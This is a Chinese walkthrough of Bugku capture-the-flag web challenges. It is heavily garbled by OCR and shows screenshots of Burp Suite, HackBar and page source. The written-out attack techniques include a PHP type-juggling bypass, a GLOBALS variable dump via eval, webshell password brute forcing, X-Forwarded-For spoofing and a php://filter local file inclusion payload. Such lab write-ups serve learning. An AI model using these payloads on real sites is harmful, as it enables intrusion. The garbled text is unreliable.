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<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional .dtd™>
<html xmlns="http://www.w3.org/1999/xhtml"> [event [FEZ
» <head> (= </head
* <body id="body" onload="init()">
e

="text/javascr c="]s/ThreeCanvas.]js script

script type="text/javascript rc="js/Snow.js script
P <script e="text/javascript"»[(=</script
w <div>
<canvas width="1536" height="760"></canvas>
<fdiv>
</body>
<fhtml>

3. fRk:

Challenge 22617 Solves

web2
20
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http://123.206.87.240:8002/web2/

You already solved this
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| flag{CTF-bugku-0032} |

O O=s Oews DEde NRs (Iemes Ouw One B  xeskms 3B 0EEs @ HackBar

Q #F=HTML + A VidsEs
<IDOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.8 Transitional//EN" “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional .dtd”> = O {
<html xmlns="http://www.w3.org/1999/xhtml" > }
» <head>(= </head> Jinput €3 {
w <body> width: 1eepx;
<span id="code" class="code" style="background: rgb(249, 49, 218) none repeat scroll @% @%; color: rgb(99, 2@, 173);">98+45=2</span> (event ¥
Fa

<input class="input” type="text" maxlength="4">
za
<button id="check">¥&if</button> |event
b <div style="text-align:center;”>[=i</div>
<script src="js/jquery-1.12.3.min.js"»</script>
<script type="text/javascript” src="js/code.js"></script>
</body>
</html>

No.3 GET#£ %

1. BEMEREE:

« =5 C @ ‘(D # 123.206.87.240:8002/get/

Swhat=% GET['what'];
echo $what;
if(Swhat=—"flag")

echo 'flag {****}";

2. BEXEMEIFUH.... 2R RERR T, BEHEKY flag:

[:(—:} > @ @ O #& 123.20687.2408002/getfrwhat=flag

$what=% GET['what'];
echo $what;
if(Swhat=—"flag")
echo 'flag {****}";
agftlag {bugku get su8kej2en}

No.4 POST# %

1. BEMBEE:

« > C @ \@ # 123.206.87.240:8002/post/

$what=$ POST['what'];
echo $what;
if($what="flag')

BChO 1ﬂag {####}1;

2. f# /] HackBar i k% Post &R A% flag B 7] .
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$what=$_POST['what'];

echo Swhat;

if($what="flag')

echo lﬂag {****}l.
Iﬂagﬂag{bugkugetﬁsssaintﬁ?se} I

o O=s Dess Oz NRs Oress O One Bew 7 cEsks 8 wEss @ Hacksar
Encryption ~ Encoding~ 3SQL ~ XSS~ Other -
i@ Load URL http://123.206.87.240:8002/post/
gg Split URL

Execut
D Bxecuie Postdata [] Referer [] User Agent [] Cookies Clear All

what=flag

No.5 &2 Huik
1, B FmaEE

> C @ © & 123.206.87.240:8002/get/index1.php

$Snum=$ GET['num'];
if(!is_numeric($num))

{

echo $num;
if(Snum==1)
Bch{) !ﬂag {**********}!;

}

2. EHRERnumBERNBER BFFR, HREST1. RITTUER AR AT EERTHF1, AR T, HEXNET
1. H, t#i&payload: num=1*e*0.1 BJW[:

&« C @ U & 123.206.87.240:8002/get/index1.phj?num=1%e*0.1 g

$num=%_GET['num'];
if(!is_numeric($num))

{

echo $num;

if(Snum==1)

Echo !ﬂag {*********t } !;

}
1¥*e*0.1flag {bugku-789-ps-ssdf}

No.6 Unicode#%: 15
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flagRfiTixE
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2. BIEHAE R R IRMG:

« > C & |® & 123.206.87.240:8002/web3/ BE e s‘){| \Q&%

R OmEs Deuws DEss NEs (QreEs QOuw One Bei W oEEE 85 wEes @ Hacksar
Q % HTML + 2

<html>
w <head>
<title>BKCTF-HEB itle>

i) ‘ i) bz Ry s (el agBfiTEE
|<:——EM;;&maa;&#ga;&vua;&vm;&ﬂ;e;&pu;;&#97;&#;2;&#;9;&#97;&Me-’t;&#74;&#7;;&MS;&#?Z;&#SB;&#493&#49;&#73;& 3;8#73;84125;--> I
TIPT
</head>
 <body>
</body>

</html>

3. HHILL EOENE, fFIEAR Flag:

LEHTE: WETHE { UnicodefmiBigin FEOMB=LESE, (N387T EALLESQQ: 930587
Unicodefmi3 UTF-84R43 URLEHIZ/RR12 UnixfjaEs Ascii/MativelRiBEiE HexiRia/4819 HtmlRas/8853
BHT5; QH#69; Q#B9; & 123, 8u# T 4; 8u#50;8u#11 5, 8# 97, 8c# 52, 8# 50, 8#97,80#1 04,8 T 4, & KEY{)2sa42ah)K-HS1 1111}

#HI5;8#A5, 8 1 2, Q# 83, 8# 49, 8H#AQ; & 7 3; 8# 7 3, 83 713, &#125

No.7 7 i35 4 fi# tfr
1. BEEH:
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Challenge 13541 Solves

1222 A
50

I T A e Rea s A 123.206.87.240 FiAFEBiflag

2. fAjH, fBEAHL host UM, iR ENT2ITE & IP BIHT:



| want to play Dummy game with others£;But | can't stop!
Stop at panda ! u will get flag

. > Esfw | Core (C:) » Windows » System32 > drivers » etc v D | EFE e £
IR =B EEA =R FU
» D hosts 2020/8/14 22:47 Bz 1 KB
» L] hosts.ics 2020/2/21 19:46 ICS 32i% 1KB
[ ] Imhosts.sam 2019/3/19 12:49 SAM =T 4 KB
o [ networks 2018/4/12 7:36 pvigles 1 KB
| | protocol 2018/4/12 7:36 B s 2 KB
Q’ CA\Windows\System32\drivers\etc\hosts - Nofepad++ [Administrator] — O x
IEHE) FEE BRO WAV \mBN ESY =EO 1RO =M EEFR) O BEHeE sOw) ? X
cHHER S s Wk e 2% BE ST E0EPNE® O E 0 FE| %K
B frida hook android Cipher Stacktrace. js = hos‘tsﬂl
1 # Copyright (c) 1953-2009 Micgbsoft Corp.
2%
3 # This is a sample HOSTS filefused by Microsoft TCP/IP for Windows.
4 %
5 # This file contains the mappings of IP addresses to host names. Each
& # entry should be kept on an findividual line. The IP address should
7 # be placed in the first col followed by the corresponding host name.
& # The IP address and the hosg name should be separated by at least one
S # space.
10 #
11 # hdditionally, comments (sych as these) may be inserted on individual
12 # lines or following the madghine name denoted by a '#' symbol.
13 %
14 # For example:
15 +#
le +# 102.54.64.97 rh#o.acme. com # source server
17 # 38.25.63.10 . fcme . com # x client host
18
1% # localhost name resoluti is handled within DNS itself.
20 # 127.0.0.1 locallbst
21 # ::1 locallbst
22
23 $127.0.0.1 iprotect.cloudNore.cn
24 #1952.168.8.250 sso.anumbr@lla.net
25 #192.168.166.2 windowsl0 Shicrodone.cn
26
27
25 |123.206.87.240 flag.baidu.com
3. ViiB4 3 Flag:
C @ © & flagbaidu.com
KEY {DSAHDSI82HDS2211}
No.8 H¥ii & &K
1. BEMESEE WUEI A —-BEERZRHR, HHaHiEs:
C @ © & 123.20687.240:8002/web’12/ o Y| Qe hid




2. i BP B GO EZ K, KIEG BIF15Npg, &G XHILEE—NEF, R jpg 1080 5 e Elflag:

Go Cancel <|r >

Request

Raw | Headers | Hex

Target: http:/1123.206.87.240:8002 | & || 7 |

Response

Raw | Headers | Hex | HTML | Render

GET /el
Hos

HITP/1. 1

0101 Firefox/79.0
0.8

No.9 A& s &

BHA ...
No.10 PHP2 /2 &

BHE R

1.

2> G © © & 123.206.87.240:8004/index1.php

flag In the variable ! <zphp

error_reporting(0);
include "flagl.php";
highlight file( file );
if (isset ($_GET['args'])){

2.

$args = $5_GET['args'];

if(!preg_match("/"\wt5/", %args)){
die ("args error!");

H

eval ("var_dump ($Sargs) ;") ;i

R TR |

® 1, MGETig kRN Eargs, I HargsEmEREEE Taz,
® 2, HFA{VEDevalBEET, =EAEEHE A phpfSaSiLE 1T,
$$args, TJLAIERFAS($args) . FIA0

.3'

EFTE022+3%4

.
r

HITP/1.1 200 OK

<htul>
<hea

TRIZROMELT

A-Z,

e 4, LR E45Hr, BUEERBRNESS: flag In the variable !, FH{IEAELFEZEEGLOBALSER,,

e 5, {5%lflag




3. 3k18 Flag:

<« G @ © & 123.206.87.240:8004/index1.phfPargs=GLOBALS 5 oeee vy QiEm

flag In the variable ! <zphp

[=

error_reporting(0);
include "flagl.php";
highlight_file(_ file_):
if(isset(5_CET['args'1))!
Sargs = $_GET['args']:
if (Ipreg_match ("/~\wt$/", $args)) {
die("args error!");
}
eval ("var_dump($$args) ;")
}
2>
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=>array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } [*_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38)
("flag {92853051ab894a64f7865c3c2128b34} "|["args"]=> string(7) "GLOBALS" }

No.11 JSFuck%s 15

1. BEWRBEE:

> C ® © & 123.206.87.240:8002/web5/

| | Submit

2. FEERMATRFRZRARA:

&« C ® © & 123.206.87.240:8002/web5/index.php

| | Submit

Hrraa.

3. BEFFELRRK:
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\ || submit |
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R Ozs= Dets DEsE NRs (atess O R BEE B8RS 3 O9Es @ Hadksar
Q #% HTML +
T
» <form action="index.php" method="past"> ¢/farm>
EHIEE.
</body>
</html> v

EmEAEATIEETENS +[10) ! RO, BT T, XMMARELFEMjspfuck (FEREHE D

JSFuck (EA T B HMES/E JSFck ) & —MiRBEME JavaScriptgmfe A . ‘ﬁﬁh*&%ﬁiﬁ‘]ﬁﬂ.’aqﬂﬁﬁ)ﬂ [V Is () D RD+ R
TFo ULmTE R 4 2IRAE B USE 8755 5 AR B8 ) Brainfucki& = » 'ﬁﬁﬁhf‘ﬁﬂ%ﬁﬂm 5/ E, LAJSFuck Rt 5 H B ARAD A 75 2 55 4h
B 4 3 25 SR AR R 2SR AT, TE 18I Ya 28 sk JavaScript 51 2 H i) JR 4 JavaScript %ﬁ%%ﬂﬁ%i@ %F JavaScript FRAES, REH
AILLABEA RN FRES JavaScript FHIFTAE ThEE, BR LA XF T RPATEMAI LR HRER.

i, BAFAAEILA DRI NER, HeMFREE T B K s, RIEHERIERIRA (T ! Frili

HEEX BRI ENAET N EREH G, MTEE flag T EAEETRAE)

o O =5= mHE DEdE N RE (JeeEE Qe Jar B ER § TEERE 8 EEs @ HackBar G e

W vomes #iR TE B /8 Bl S XHR ER

[t 00T DD DT+ D C DD L1+ CH T DD DT+ 1 L DT+ LT+ DD Do DT+ DD DT+ b 1 DT+ CH DI+ DD L+ O+ CH DT+ DO T+ DD L+ D+ (U LT O L0 D e+ D+ D101+ T+ DD LD+ D10+ C U ID [ 01+ T+ ID [
(1 T (T ID D+ IID [+ DO CH T D [+ DD [T+ C T ID [ O+ CH T ID [+ DT+ (O T+ O T D T D1+ 0+ L1 (OO T+ DD T+ DT+ G T+ D T+ DD DO TC DI+ ID T+ O+ DT+ OIT0ID) [+ + 01+ 1+ 0111+
CIHID U O+ (T ID E T+ T ID UL+ 1 O CH T D [+ T T I DT+ L1+ DT CH O DT C O+ ID T O (U O TN D D+ D+ DT+ GO+ ID U 0+ T+ C I DT+ (U T+ ID D1+ 0 1+ T+ D [++011D)
[0+ T+ D I+ O+ C O ID T L1+ D1+ D T+ (U T+ DD LT+ CH T ID [+ LT+ TN IR D O TC T+ ID L 0T DT+ 0 T D [+ L1+ 011+ C O+ D U L1 DT+ T+ ID [0+ (T ID D1+ D1+ 011+ (D)
[T 0D DL+ B+ 1+ DI+ CH T+ D T+ CH T+ O T C T+ D O+ DT T+ O TOT D D+ DT+ L+ O 1+ C LTI L 01+ 0 1 O T D T+ T+ T TD U L1+ D1 D T+ (U T+ ID DTN [+ 0T+ CH T+ [+ LD U012+ 1+ (#0111
([1+ 1 [T+ [+ D+ OTCTHID O+ T+ OTTID T+ D1+ L O+ C T ID DO+ L1 DD T+ O+ C T DU+ 01 0+ DT C T DD T DTN TC T ID O+ (O OO TN D [+ D+ O 1+ C U D T+ 01+ T+ [+
(D010 1+ U O ID [ D TTH D D01+ 04 01+ L L1+ CU DI T+ ID L O+ (O OO O D [ D1+ L0 C O DT 0 DT+ CH T D 0T T+ ID T+ 0+ LT 1 TD [ DI D DL+ (I LT T+ ED [+ 2+ 0]+
(LD 01+ (10 T+ CH T D O+ CH T [+ O AT T D OO TG T+ D DI+ TN D [+ O+ O C T ID U0 01 C T D O+ T TD U1+ L1 DT+ (U T TD [+ DT+ I D T L1+ 1+ 0T T+ TT+0)
HIHID LD [ O] T ID [T T I [+ DT I+ (U LT+ I DT+ L1+ D1+ (DD [+ 0]+
T[]+ T+ D LT+ MDD [T L[ b [T+ (LT DD [+ DD Lo b [T+ [+ L DT +C LD L0+ 0D [+ T1+C LT T+
[])[*'*[]]*("[]+[])['+[]+'*[]*'+[]]*('[]'-[])['*[]*'*[]*'*‘[]]*([][('[]*[])[*[]]*(['[]]+[][[]])[+'+[]+[*[]]]+('[]+[])['+[]+'+[]]+("[]*[])[+[]]+("[]*[])['*[]*'*[]*'*—[]]*("[]*[])[+'+[]]]*[])['*[]*'*[]*'*‘[]]*( [1+[D[+!+[11+
(e[ Tl [+ T L+ LD T D LT+ C U LT L+ ID LT (O LT LI D L+ [+ Lo DT+ C LT+ LD D LT+ LT CH LA DD [ LT+ T DD [ LD L]+ e D11 T T« (D [+ LT D [+ b D1+ L+ LT T+ G L+ (L1 DD DOOITC LT+ DD L0130 [0+
[IOD 00 C T D U+ (T CH T ID L NI+ TR DD T L] D+ T T [+ (11 DD T+ L] e D+ D11 O DT DI DC LT DD LD DT+ LI0OID) o D1+ DT+ LR DD [+ L1+ [T 0+ U LT+ DD D [0+ LT+ DD [ ]+ 4[4
[1+C T [ D LU+ L OO+ ID [+ 1+ C O LD U O 0 DT C T ID LT+ (U T DD D DT (DT DD T O CIDC T DD LD+ (O O+ DO D L+ D+ L D1+ C LI D D L1 2 DT+ CH T DD T 1+ CH DT+ [+
(11 DT T+ ID [+ LT DD [+ L1+ [+ 410D [+ID LT+ O T+ ID L O+ C OO IO D L+ DL+ 011 C LD U 0 DT T CE T+ ID DT+ CH T+ I DD+ [0 11+ C DD T DD Db DL D1+ (U T+ LD Lo e
[ND LA+ L O CHTAID L1+ C D [ DT DT+ OO D L+ D+ LD T O DT+ DD Do+ D1+ G T+ DT+ (O DD DT C LI+ D L0 1+ (O DO DD D DI+ 01T+ C LI DD DD+ DT CH LT DD T+ C O TD D[+ [ DT T (2
(1D LTI+ D DL T+ (U T+ DI C T+ DD LD T+ (D DT+ DO D [ D+ L+ D111+ C O DD U 0+ 0010 CHNT ED LD T CH LT+ TD U+ 1 L 00 D+ C U DD D 00D D b DT+ L+ D1 T+ (I DT T+ DD T b+ 11 C LT+ DD D[]+ L1+ 2 [T+ (1 D+
[DHFHI+CHIHID T+ OO+ D OO TC T D B+ IO TOD [+ 0O+ C T ID LT+ OO T D I+ CH T ID DT+ (1 0 T CH T+ ID T DT+ ID D01+ 2+ D1 0 T+ CH T+ ID O+ CH T+ C T+ D [+ 010+
(DN D L+ D+ 1T+ C LT DD DD+ O e CH LT DD T C T DD U D1+ D T (T ID [+ DD [ D L0011 CH T+ D [ DD D L1+ DT LoD TT T Ci LT+ D1 DT [ DD D+ L1 CH DD T [+ DT+ 1D O (LT T+
O+ OO D [+ U1+ L+ O+ C LD DL+ 01 CH T D T+ T CH T D D+ D1 T+ (U T ID [+ DT T TC T+ ID T+ O O 000D [+ 01+ C O+ D U+ DT+ (T ID T+ CH T+ D DI+ 11+ 01+ 40D
[T ID D1+ 1+ DT+ CH T+ DTG T+ D O I+ O T+ OITO D D+ D1+ DT+ C LI DD DD+ D11 CH LT DD T+ 1 C O D D 1+ DT (T TD [+ DD [+ D1 DT CCTTO T+ DD L+ D11+ C LD DD+ D14 DT+ (2 LT+
[DFI+CHIHID T+ 01+ O+ D LT+ TC T IDAA T+ IO IO D [+ 0+ C T+ ID T 0T+ O T D L1+ T ID DD+ (1 DT CH T+ D [+ DT DD D01+ 2+ 1+ L0 T+ (T ID [+ O+ CH T+ C I+ D [+ 010+
! [T DU+ 0T+ O C T D T T D D1+ O 1 C U I D LTI CCH T+ ID [+ 1+ (I TD U+ L1+ D1 LT+ T+ TD T O T+ (O LT 1+ ID [0 1+ (T T+ [ [+
AUIFOIID 1 O+ C T ID L0+ OO T ID [+ O T ID UL L T T I T T D T+ L1 [ D1+ C U T TD U D1+ L1+ DT+ (LTI DD DR 0+ D]+ 2+ D1 (0T
BT T ID T+ C I D DD+ L1 O 1+ O ID T O+ ID DT+ D0 1+ C LT LD [+ DTG LT 1 L O [ O D) T T ID T+ C L0 DO T+ ID [0+
'[]*[])['+[]+'*[]*'*[]]*("[]*[])[*'*[]]])[*'*[]*[+[]]]*(*'[]+([]*[])[([][('[]*[])[*[]]+(['[]]*[][[]])[*'+[]+[*[]]]*('[]*[])['*[]*”[]]*("[]*[])[*[]]*("[]*[])['*
T+ LI T+ I [0 I+ (O T+ DITOT D [+ D1+ [+ 1T T+ LT+ LT L]+ 1+ D11+ L]+ ' D+ (OO ID 011+ C T+
T+ 1D [+ e 1+ [T+ (I [+ [T+
P01+ D [+ 1O T DD [+

1!+ [N+ (U D L+ O+ DD A0+ LT LT+ CH TR DD T [T D L+ L+ L+ 0T (OO [+ T+ L LD U+ [0 e L]+ e LT T D L1+ (I DD [+ [T+ CCI 00T DD O 1O C T+ 0D L1+
DD+ 0T ID O C I D U [+ D DT CH T+ DD [ DT ID D D+ D e DT+ CH T+ ED B D1+ CH T+ DT C T+ ID DT+ (D DT+ O T D L+ D+ L+ 0110+ C L DD U L+ 11O T+ LD [0+
D LI D L+ L0+ CH O DD L LD U1+ 2 D1+ L DI C L] o D] b [ L DD [ DT C DD D [ D+ DD O WD T D DTN L+ D011+ CH T+ D 01+ C U+ TD [+ 01 CTT+0D)
[t T (T C T+ ID L+ (U OO D L+ L U1« C T+ ID D+ DT C A DD LT+ (U T ID D D0 L1 2 D T (R LI D [ D1+ DD DU+ o [+ D 1+ C LTI D D D D+ OO T+ D [+ 011+

FI+ 1+ D1 (D001 ID D #1+ 101D

[t [+ E+ 1+ HT1+1]

[Eellete1etel]e! ol
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C © © & 123.206.87.240:9009/hd.php

frathizf.

2. BEMTEN, RABHLEMES. ...

O O=ss Oaws DEtE NEE (JesEs QOwus Onr O F AEEFE 8 UEEs @ Hacksar
Q = HTML
<html>
¥ <head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
¥ <body>
<br>
<br>
<br»
<br»
raing.
<brs>
<brs>
</pre>
</body>
</html>

3. BurpSuite MBEE, KIMIMEKKELSEE TFlag......

# | Host Method | URL | Params | Edited | Status | Length | MIMEt... | Extension | Title
3042 | http://123.206.87.240:9009 GET  /hd.php OJ [ 200 303 HTML php
- = =

ruspre

jRawT Headers | Hex | HTML I Render ]
HITP/1.1 200 QK

Server: nginz

Date: Fri, 14 Aug 2020 15:52:03 GMT

Content-Type: text/html
action- nae

<html>
<meta http-equiv="Content-Type” content="text/html; charset=UTF-8" />

<pre><hr><hr s <hrs<br > AW H . <bri<bry
</html>

No.13 Webshell 2 1

1. BEMEEE:



C ® O & 123.206.87.240:80 ebshell/ o Yy A

HH[E R =L

RIS EREE, ERAHES!

© 2015-2017 myCTF . All Rights Reserved.

2. MS|FRME, RS Webshell itk

(IEE41E) fAREESEE 1R 2R By:faliliif QQ:343034656 - >
{#4: |http://123.206.87. 240:8002/webshell/ FiaE {E1H34R
412 [20 | (% cPuil, * sift) [ DIR: 446839 ASPY: 42529 Ejz00
— [»] ASP: 297812 PHP: 52815 [] &Eml403
#8e: [3 | (8 BEIEEWER) [ ms: sont JSE: 19739 (] E3xx
HiEEE: HESE. Higdig: o FEEE: o
1D it HITPIRIGE
1
2

3. Vi R/EEMY:



© & 123.206.87.240:3002/webshell/shell.php B e fr‘ ‘Qﬁﬁ

WebShell

4. BPR&IIME, FABEMShack:



E  intruder attack 2 — O X
Attack Save Columns
j Results T Target I Positions T Payloads I Options ]
Filter: Showing all items ?
Request |F’ayload |Status |Error |'I'|meout Length l| Comment
101 hack 200 ] [] 1110 A
0 200 O O 1125
1 123456789 200 O O 1125
2 a123456 200 O O 1125
3 123456 200 O O 1125
4 2123456789 200 O O 1125
5 1234567390 200 O O 1125
6 woaini1314 200 O O 1125
7 qq123456 200 O O 1125
8 abc123456 200 O O 1125 :
Request | Response 1
_[RawI Headers I Hex I HTML T Render }
horder—color: ZFFFFFF 2999999 #999999 ZFFFFFF; horder—style: solid; border—width: 1pz;”> A
<div r
style="width: 350pxz; height: 22px; padding—top: 2pxz; coler: ZFFFFFF;
hackeround: £293F5F; clear: both: ">
<h:WehShell</h>
<fdiv
<div
style="width: 350pxz; height: 80px; margin-top: 50pxz; coler: Z000000;
clear: hoth;”>
PASS: <input type="password” name="pass” style="width: 270pz;">
<fdiv
Zdiv style="width: 350px; height: 80pxz; clear: both;”> )
Zinput type="submit” wvalue=" 5" style="width: S0pxz;">
<fdiv
{center:
Zspan style="color: red:”>
flag {hack _bug_kul35} <f span
<fcenter
<fdiv
<fform>
<fcenter:
< hody:
</html> I/
h
? < + > | |Type a search term 0 matches
Finished ! hl:..-;-_;:J,i.-»'-;':h'-,--_,‘-,hh;l-)'ju-)niul--_‘;:)n:)';;;:_;

5. MINFTEIRGFlag:




WebShell

hitps:/fblog.csdn.netfweixin_38190897

No.14 A it IPy i
1\ EEREHE, MR AN AL

(¢)> C @ © & 12320631.851003

EERRSR

Username: | |

Password: | |

| Submit  Reset

IPZEIDf5Ie), IEXAANINEIREER, IPEHICR.

2. BEIRMG, R1G—F 5, Base 64 FRFH:

v O=ss Uess Ot Nre OteEs QO O B e T ZEsme 8 uBEses @ HackBar

Q #E=HTML

<html>
» <head> [+ </head>

< >ERLRG</h1>
» <form method="POST" autocomplete="off">[+ </form>
1PEEHiniE], BRARTMEIRAENM, IPCHIR.
</body>
</html>

| <!--devzdDEyMu==--> |

3. Base 64 ¥#3k15 “test123":



B / 0= & %7 | Baset4

IR fRER AESINES R

ISR R (i)

test123

DESHNZ /&2

RCANNZ /= RabbitI[=5/#2=7

MiTER

4. B REN, HEAKF admin #H5 test123, #EATIIR:

l Go J Cancel { < |v J > |

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST / HITP/1.1 . HTTB/1.1 200 OE
Host: 123.206.31.85:1003 r Server: nginx
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64:; =64: rv .0) Gecko/20100101 Fivefox/79.0 Date: Sat., 15 Aug 2020 01:37:58 GMT
Accept: text/html, application/zhtml+znl, application/zul:q=0.9, image/webp, */* q=0.8 Content-Type: text/html
Accept-Language: zh—CN, zh;g=0. 8, zh-TV; q=0. 7. zh-HK; q=0. 5, en-U3; g=0. 3, en ; g=0. 2 Comnection: close

Content-Type: application/z—wwwformurlencoded
Content-Length: 25

Origin: http://123. 206. 31. 85:1003
Commection: close
Referer: http.//123.206.31.85. 1003/

Upgrade-Insecure-Requests: 1

user=adminkpass=test123

5. REBIMHTTPE K k-

(=] o [0 51

Request

Raw | Params | Headers | Hex

Content-Length: 3385

<html>
<head>
<titler
B AR A
ftitle>
</head>
<body>
<h1> LA A
“form method=
<p-Username:
‘prPassword:

" autocomplete="of "
<input type="text” name="user” id="user’></p>
Zinput type="password” name='pass’ id="pass”></p>

<p>

<input type="submit” value="Submit”/>
<input type="reset” value="Reset”/>
<>

<fform>

<body>
</html>

X-Forwarded-For: 127.0.0.1, fAiEmAHE R, 3RS Flag:

Response

Raw | Headers | Hex | HTML | Render

POST / HITP/1. 1

Host: 123.206. 31. 85:1003

User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64: =64 rv:79.0) Gecko/20100101 Firefox/78.0
Accept: text/html, application/zhtml+xnl, application/znl: q=0. 9, inage/webp, */* q=0. &
Accept-Language: zh—CN. zh:q=0. 8, zh~T¥: q=0. 7. zh-HK: q=0. 5., en-US :q=0. 3, en  ¢=0. 2
Content-Type: application/z—ww—form—urlencoded

Content-Length: 23

Origin: http://123. 208. 31. 85: 1003

Commection: close

Referer: http://123.208. 31.85: 1003/

Upgrade-Insecure-Requests: 1

[-Forwarded-For: 127.0.0.1

user=adninkpass=test123

No.15 B ¥ U5 45 = 15
1, B

T

HTTP/1.1 200 OK

Server: nginx

Date: Sat. 15 Aug 2020 01:33:54 GHT
Content-Type: text/html
Comnection: close

Content-Length: 5430

<htnl>

<head>

<titles

B RS

<ftitle>

<fhead>

<body>

<hL>EFEE B ASi/hL

<forn method="POST" autocomplete="off’>

<p-Username: Cinput type='text’ name="user’ id="user”></p>
<p Password: Cimput type='password” name="pass’ id="pass’></p>

P>

<input type="submit’ value="Submit’/>
<input type="reset” value="Reset’/>
o>

<fforn>

“font style="color;=FF0000"><h3:The flag is:
</body>
</htal>

85ff2ee4171396724bac20c0bdB851£6h /L3> <hr\></font\>



C © O & 123.20687.240:3002/webd/ B o | Qs
BEERARS?
] submit

N O=gz Dz DEss Nre egEs O Onse Bee W roesks 8 waes @ HackBar
Q igm HTML
<html>
» <head> (= </head>
w <body>
¢div style="display:none;"></div>
w <form action="index.php" method="post">
BEERMET
<br»
<br>
v <script>

</script>
<input id="flag" type="input” name="flag">
=5

<input type="submit” name="submit"” value="Submit">
</form>
</body>
</html>

2. X UL B 47 B AT URLFL G :

Target | Pro: Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts | Brida
g xy | Spi p q p J

ELS 7 1
Var pl = function Yvar a=d "password");if{"undefined"I=typeof a){ii("67d7 09b2b’;
var p2 =" al114f1"==a. alert("Error"):a focus():retumn! “levelQuest”).

eval{unescape(pl) unescape(S4aa? p2)).

3. EILHEIXA4—H: evallunescape(pl) + unescape( %35%34%61%61%32 + p2)); & . plH K
+%35%34%61%61%32° HITG+p2 B IS « XR—NMHENFZRFE, BINZE, PESER, BRIMNTPIRE, WRERRHET
flag:

&« C ® O & 123.206.87.240:8002/web4/index.php

BEIRES?

| | Submit

KEY{J22JK-HS11}

No.16 PHP . &

1. BEWBEE:

BugkuCTF - &31%5 Bugku-ctf X

> C ® U & 123.206.87.240:8005/post/

click me? no



AR, AR URL #ilk: index.php?file=show.php , X —ANHLE S04 A IR R :

BugkuCTF - &3 Bugku-ctf Pl C SVE-CSDNE=

<« C © O & 123.206.87.240:8005/post/index.phgffile=show.php

tests

2. THEZHZE phpr)E i, BRAEEAHRE, %EHgR:
Go Cancel <|v Target: http://123.206.87.240:8005 w L?J

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

hp §11e=php //f1lter/read=convert. base6d-encode/Tesource=index. php HITP/1. 1 A HITP/1.1 200 OK ]
Server: mgin r
User-Agent: Mozi. Tindows NI 10.0; WinG4; x64; rv:79.0) Gecko/20100101 Firefox/70.0 Date: Sat, 15 Aug 2020 02:14:59 GHT
Accept: text/htnl, application/shtnl pplication/xnl image/wel 0.8 Content-Type: text/htnl
Accept-Language: zh-CH, zh;g=0.8, .7, zh-HK; g=0. 5, en-1US; g=0. 3, en;4=0. 2 Connection: close
Comnection: close Content-Length: 561
Referer: http://123.206.87. 240: 8005/post/
Upgrade- Insecure-Requests: 1 htnl
title Bughu-ctf /title
PGhObWurtDQog ICAZPHRpdGx 1Pk 1 Z2¢ ILWNOZ jwvdG 10bGU+DAog ICAEDQ 08P 380 cAOKCHYycmSyX3T L TsNCelpZighlF: 1SZV0pe2V aG8e] sxhIGhyZWY9
Ti 4vali5k! GhwP2 i T4n030NCekkZmls2T0kX0dFVF snZmlsZSdd0wOKC W 1nk kZmlsZSwilidvIilBFHNOcmlzdHIo
J6ZpbGUSICT OcCIpfHx zdH] pe3RyKCRuallx 1LCIpbnB1dC IpfHxz dH] pe3RyKCRmallx 1LCTKYXRhI ikpewOKCQ11Y2hvICTPaCBubyEi0w0KCQ1 166 10KCk7DQ0] fQOKCKIuY2x12GUo
i 2 jbulfZWspZ19sY v KPz 4NC /htnl>
4 Kt S 4 V:
5 B ) 775 5 34T Base64 #1Y, 3Rk18 Flag:
Target | Praxy | Spider | Scanner | Intruder | Repeater I Sequencer [ DecoderTcUmparerTEmndsr TFruﬁcl options IUSEF options | Alerts | Brida
GZpbGUsICJ0cClpfHxzdHIpc 3RyKCRmaWsILCJpbnB1dClpfiixzdHJpe3RyKCRmaWsILCIKYXRhlikpew0KCQIlY 2hviCJPaCBubyEiOwOKCQlleGIOKCK7DQoJFQOKCWIUY 2%1ZGUo) GZpbGUpOyANCiByZmxhZzpmbGFn JomIfZVxpZI9s YVUNVBF QOKPZ4NCjwvaHRtbDANCg==</html>
=X T
T o T o oy T
echo "Oh nal";
exit()
}
include(file):
IMfiag-flagledulcni_elif lacal_si_siht)
7
</html>
<pofi> I

TRNERERNT:

html
title>Bugku-ctf</title

error_reporting(9);

if( [file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
['file'];
if(strstr( ,Ue /") | | stristr( , "tp")||stristr( ,"input") | |stristr( ,"data")){

echo "Oh no!";

exit();

)i

include( );
/flag:flag{edulcni_elif Llacol_si siht}

html
pbfl

PLAE B4R file=php://filter/read=convert.base64-encode/resource=index.php K& X:


http://php.net/manual/zh/wrappers.php.php

o FHERXRE -/ MileXBFEMgetSHttidh, php/R—MIMLEFR, php://filter/ &—Fpi a4 H SCHF R B
¥, /read=convert.base64-encode/ FNILEHI R Ebase644mil )5, resource=index.phpZE H i3 X4 Aindex.php.

o EIEIBIXANSHT LIS Blindex phpHI¥ERS, THEUH M4, FEVEHEF Hinclude R, XARRMSMEFI Aphp X I
PAT, WRPAT AT, Bk B S IR .

o THincludef AR A EHI, FrelBdBAMEERfleZ ¥, Rinclude() E#5]I A Tindex.phpiibase644iidis =,
FrEbase644mig g, FrCABAT AR, BREVER, FrCARAIBE TIEBKbase64# 3, MRGEIT,

WRABATbase64%iidfe N, MESEHEZMAT, MflaghifF BATRES, REAIIK.

No.17 & I f&......

1. BERBEE:
© & 123.206.87.240:8002/baopo/ B e fy | QEx

PAEEEH| =3
B SfusERses, | aEga s,

2. BERRTEMRSE, RIBMHIREGEN:



B ntruder attack 3 - O X

| Attack Save Columns |

_[ Results ITarget T Positions I Payloads T Options }

|| Filter: Showing all items 2|
Request | Payload |Status  |Emor | Timeout | Length 4| Comment
1580 13579 200 ] ] 246 &
] 200 O O 1327
